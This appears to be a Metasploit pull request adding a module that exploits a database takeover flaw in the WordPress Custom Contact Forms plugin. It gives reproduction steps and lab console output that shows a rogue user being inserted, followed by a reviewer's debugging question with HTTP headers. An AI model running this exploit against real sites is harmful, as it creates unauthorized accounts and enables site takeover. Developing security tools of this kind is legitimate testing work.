Added WordPress custom_contact_forms module

This module exploits a vulnerability in the custom contact forms plugin:
http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html

### to reproduce
 - [ ] Install Wordpress https://www.firefart.at/how-to-install-wordpress/
 - [ ] Install plugin version 5.1.0.3: https://downloads.wordpress.org/plugin/custom-contact-forms.5.1.0.3.zip
 - [ ] Run the module

### output
```
msf auxiliary(wp_custom_contact_forms) > run

[*] 10.211.55.39:80 - Trying to get table_prefix
[*] 10.211.55.39:80 - got table_prefix 'wp_'
[*] 10.211.55.39:80 - Inserting user QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv
[*] 10.211.55.39:80 - User QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv successfully created
[*] Auxiliary module execution completed
```
I have the exact same setup specified in your pull request description, but the response I got for this does not redirect.

```
Date: Mon, 29 Sep 2014 15:55:31 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Content-Type: text/html
```

Do you have an idea why?